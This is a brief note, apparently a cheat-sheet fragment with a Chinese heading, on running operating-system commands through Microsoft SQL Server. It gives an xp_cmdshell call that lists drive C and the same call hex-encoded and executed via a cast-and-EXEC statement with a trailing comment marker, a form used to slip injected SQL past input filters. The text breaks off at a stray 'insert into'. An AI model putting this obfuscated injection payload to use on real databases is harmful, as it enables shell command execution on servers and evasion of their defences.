mssql server 、编码 、网页编码 MD5等 EXEC [master]..[xp_cmdshell] 'cmd /c dir c:\' 编码: DECLARE @S VARCHAR(4000);SET @S=CAST(0x45584543205B6D61737465725D2E2E5B78705F636D647368656C6C5D2027636D64202F632064697220633A5C270D0A AS VARCHAR(4000));EXEC(@S);-- insert into